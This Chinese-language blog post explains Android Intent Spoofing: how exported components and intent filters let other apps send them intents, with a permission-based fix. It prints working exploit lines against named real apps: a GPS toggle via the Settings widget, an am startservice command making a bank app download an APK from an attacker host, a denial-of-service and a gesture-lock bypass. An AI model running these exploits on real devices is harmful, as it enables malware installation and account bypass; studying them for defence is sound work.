Intent Spoofing 攻击

0. Android的安全模型

  • application sandbox
  • selinux
  • permissions
  • application signing

正是因为Application sandbox的存在,App进程之间是相互隔离的。有下面一个场景一个
App需要调用weixin来分享内容,如何处理?这就需要用到intent,告诉Android系统你的
意图是什么,Android系统将调用相应的处理程序来处理。

Intent 是一个将要执行的动作的抽象的描述,一般来说是作为参数来使用,由Intent来协
助完成android各个组件之间的通讯。比如说调用startActivity()来启动一个activity,或
者由broadcaseIntent()来传递给所有感兴趣的BroadcaseReceiver, 再或者由
startService()/bindservice()来启动一个后台的service.所以可以看出来,intent主要
是用来启动其他的activity 或者service,所以可以将intent理解成activity之间的粘合剂。

1. Intent

Intent有两种类型,Explicit Intent 和 Implicit Intent。

  • Explicit Intent

明确指定Intent的名字(全类名),当你使用Explicit Intent 启动Activity或者启动 Service,
Android系统会立即启动Intent对象所指定的Component。

  • Implicit Intent

指定Intent的ACTION,当你使用Implicit Intent,Android系统将通过比较 App Manifest
文件中所定义的Intent filter来启动符合要求的Component。如果只有一个Intentfilter
被匹配成功,系统将启动对应的Component,并递送Intent Object。如果有多个intent
filter是兼容的,系统将显示一个dialog,用户可以选择需要使用的component

下面用代码说明这两种Intent

Explicit Intent

1
2
3
Intent downloadIntent = new Intent(this, DownloadService.class);
downloadIntent.setData(Uri.parse(fileUrl));
startService(downloadIntent);

Implicit Intent

1
2
3
4
5
6
7
8
9
Intent sendIntent = new Intent();
sendIntent.setAction(Intent.ACTION_SEND);
sendIntent.putExtra(Intent.EXTRA_TEXT, textMessage);
sendIntent.setType(HTTP.PLAIN_TEXT_TYPE); // "text/plain" MIME type

// Verify that the intent will resolve to an activity
if (sendIntent.resolveActivity(getPackageManager()) != null) {
startActivity(sendIntent);
}

2. Intent Spoofing

Android Intent Spoofing是一个比较常见的问题。如果Android组件(component,service
receiver)是导出的话(exported=true),恶意程序可以使用 Explicit Intent向这个组件
发送Intent,Android无法识别这个 Intent是谁发送的,将会正常的执行请求的操作。

从上面的描述中可以发现,关键是 component要是导出的,而Android的component的导出的
默认值并不是固定的,这点我们从Google提供的文档可以证实。

http://developer.android.com/guide/topics/manifest/receiver-element.html

android:exported

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Whether or not the broadcast receiver can receive messages from sources outside
its application — "true" if it can, and "false" if not. If "false", the only messages
the broadcast receiver can receive are those sent by components of the same
application or applications with the same user ID.

The default value depends on whether the broadcast receiver contains intent filters.
The absence of any filters means that it can be invoked only by Intent objects
that specify its exact class name. This implies that the receiver is intended
only for application-internal use (since others would not normally know the class name).
So in this case, the default value is "false". On the other hand, the presence
of at least one filter implies that the broadcast receiver is intended to receive
intents broadcast by the system or other applications, so the default value is "true".

This attribute is not the only way to limit a broadcast receiver's external exposure.
You can also use a permission to limit the external entities that can send it
messages (see the permission attribute).

我写了一个程序测试具体的情况。

AndroidManifest.xml

1
2
3
4
5
6
7
8
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<receiver
android:name=".PhoneReceiver"
android:enabled="true">
<intent-filter>
<action android:name="com.nsfocus.test" />
</intent-filter>
</receiver>

测试程序注册了一个Receiver,这个Receiver处理 com.nsfocus.test Implicit Intent
包含了一个Intent Filter,在AndroidManifest.xml中没有明确声明这个reciever是导出的
还是未导出的。

receiver 的代码为

1
2
3
4
5
 public void onReceive(Context context, Intent intent) {
Toast.makeText(context, "Get it", Toast.LENGTH_LONG).show();

}
}

使用adb shell中发送广播

1
adb shell am broadcast -a com.nsfocus.test

可以看到Get it 的提示信息,也就是说 component 处理 Implicit Intent 时默认是
exported=true 的,这就是问题的关键。

下面修改代码改成 exported=false,看看是什么情况。

AndroidManifest.xml

1
2
3
4
5
6
7
8
<receiver
android:name=".PhoneReceiver"
android:enabled="true"
android:exported="false">
<intent-filter>
<action android:name="com.nsfocus.test" />
</intent-filter>
</receiver>

receiver 照样可以收到,显示”Get it”,所以在receiver里做校验是非常有必要的。因为
无论exported如何设置,只要里面包含了Intent Filter 就可以接受到消息。

2.1 一般解决方案

如果设置了 intent-filter,可以利用 android:permission 属性来要求广播发送者所
需要具有的必要权限,这样才不会产生权限绕过问题。

比如我在.PhoneReceiver里要实现收短信的功能,就应该写成这样

1
2
3
4
5
6
7
8
9
<receiver
android:name=".PhoneReceiver"
android:enabled="true"
android:permission="android.permission.SMS_RECEIVED"
android:exported="false">
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>

这样广播发送者需要声明** android.permission.SMS_RECEIVED **权限,不然.PhoneReceiver就不
处理了,修改后测试发现确实收不到了。

2.2 漏洞实例

启用手机GPS

1
2
3
4
5
Intent intent = new Intent();
intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
intent.addCategory("android.intent.category.ALTERNATIVE");
intent.setData(Uri.parse("custom:3"));
mContext.sendBroadcast(intent);

上面这个例子是通过广播的方法进行攻击的,攻击的目标是com.android.settings.widget
Android并未提供操作GPS的API,但是通过上面这个方法却可以控制GPS的开关。而且更有趣
的是我们并没有声明任何和Location相关的权限 :)

widget是Android提供的桌面的小插件,就和KDE的之类的插件类似,可以通过Google提供的
API来开发。

custom:3 这个字符串比较诡异,其实可以在Android 的代码中找到

/com/android/settings/widget/SettingsAppWidgetProvider.java

1
2
3
4
5
private static final int BUTTON_WIFI = 0;
private static final int BUTTON_BRIGHTNESS = 1;
private static final int BUTTON_SYNC = 2;
private static final int BUTTON_LOCATION = 3;
private static final int BUTTON_BLUETOOTH = 4;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
String action = intent.getAction();
if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) {
sWifiState.onActualStateChange(context, intent);
} else if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)) {
sBluetoothState.onActualStateChange(context, intent);
} else if (LocationManager.MODE_CHANGED_ACTION.equals(action)) {
sLocationState.onActualStateChange(context, intent);
} else if (ContentResolver.ACTION_SYNC_CONN_STATUS_CHANGED.equals(action)) {
sSyncState.onActualStateChange(context, intent);
} else if (intent.hasCategory(Intent.CATEGORY_ALTERNATIVE)) {
Uri data = intent.getData();
int buttonId = Integer.parseInt(data.getSchemeSpecificPart());
if (buttonId == BUTTON_WIFI) {
sWifiState.toggleState(context);
} else if (buttonId == BUTTON_BRIGHTNESS) {
toggleBrightness(context);
} else if (buttonId == BUTTON_SYNC) {
sSyncState.toggleState(context);
} else if (buttonId == BUTTON_LOCATION) {
sLocationState.toggleState(context);
} else if (buttonId == BUTTON_BLUETOOTH) {
sBluetoothState.toggleState(context);
}
} else {
// Don't fall-through to updating the widget. The Intent
// was something unrelated or that our super class took
// care of.
return;
}

// State changes fall through
updateWidget(context);
}

可以发现无法对广播的发送者进行校验,收到广播就执行相关的动作。

江苏银行手机银行下载安装任意apk(可木马)

http://www.wooyun.org/bugs/wooyun-2010-0104992

AndroidManifest.xml

1
2
3
4
5
<service android:name=".UpdateService">
<intent-filter>
<action android:name="cn.jsb.china.UpdateService" />
</intent-filter>
</service>

UpdateService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public int onStartCommand(Intent arg6, int arg7, int arg8) {

Bundle v0 = arg6.getExtras();

if(v0 != null) {
this.a = v0.getBoolean("isupdate");
}

this.b = arg6.getStringExtra("url");
this.c = this.getSystemService("notification");
this.d = new Notification();
this.d.icon = 17301633;

if(this.a) {
this.i = new RemoteViews(this.getPackageName(), 2130903048);
this.d.tickerText = "正在下载江苏银行";
}

else {
this.i = new RemoteViews(this.getPackageName(), 2130903043);
this.d.tickerText = "正在下载手机证券";
}

this.d.when = System.currentTimeMillis();
this.d.flags |= 2;
this.d.flags |= 32;
this.d.defaults = 4;
this.d.contentView = this.i;
this.d.setLatestEventInfo(((Context)this), "", "", PendingIntent.getActivity(((Context)this),
0, arg6, 0));

this.c.notify(this.j, this.d);
this.g = new jn(this, Looper.myLooper(), ((Context)this));
this.g.sendMessage(this.g.obtainMessage(3, Integer.valueOf(0)));
new jm(this, this.b).start();

return super.onStartCommand(arg6, arg7, arg8);

}

利用代码

1
am startservice -n cn.jsb.china/.UpdateService --ez isupdate true --es url http://192.168.102.204/mijian_2.5.1_272.apk

美团外卖客户端本地拒绝服务漏洞

http://www.wooyun.org/bugs/wooyun-2010-0106580

利用代码

1
adb shell am startservice -n com.sankuai.meituan.takeoutnew/com.sankuai.mtmp.service.MtmpService

航旅纵横手势锁轻易绕过及其它漏洞

http://www.wooyun.org/bugs/wooyun-2010-0111692

利用代码

1
am start com.umetrip.android.msky.app/com.umetrip.android.msky.activity.MainActivity

参考链接


Intent Spoofing 攻击
http://usmacd.com/cn/android_intent_base_attack/
Author
henices
Posted on
September 6, 2023
Licensed under